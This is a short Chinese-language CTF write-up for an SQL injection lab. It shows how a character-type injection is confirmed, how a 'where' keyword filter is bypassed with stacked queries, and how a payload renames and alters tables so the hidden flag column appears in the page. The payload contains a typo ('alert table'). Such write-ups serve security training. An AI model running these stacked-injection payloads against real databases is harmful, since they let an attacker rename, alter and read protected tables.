一、信息收集
打开靶场,发现表单,尝试数据1
很明显,这是一道SQL注入题目。
验证
添加单引号,报错信息证明是字符型注入。
再添加and 1=1#
,返回正常页面。
再尝试1' and 1=2#
,返回报错
证明存在SQL注入漏洞,尝试联合查询。
发现关键词屏蔽,我们注意到where被屏蔽,证明常规注入手法已经失效。
二、堆叠注入
黑名单没有屏蔽show,尝试使用堆叠注入。
查询表名0';show tables;#
查询列名0';show columns from words;#
,发现正常显示数据。
查询列名0';show columns from
\`1919810931114514\`;#
,发现flag字段。
三、爆数据
这里爆数据的思路是通过修改查询的表名称来使前台返回数据,也是这个题的考点。
我们通过管理数据库命令是无法查询到flag中的内容的,我们可以考虑通过rename命令,将1919810931114514表重命名为words表,再为其添加一个id列,保证我们可以正常查询到其中内容。
payload:
1';
rename table words to word1;
rename table `1919810931114514` to words;
alter table words add id int unsigned not Null auto_increment primary key;
alert table words change flag data varchar(100);#
这个payload干的事有:
- 将words表重命名为word1,以便待会将1919810931114514表名命名为words。
- 重命名1919810931114514表为words。
- 为现在的words表添加一个自增主键id列。
- 将flag列改名为data并指定长度。
输入payload,再查询1,即可获得flag。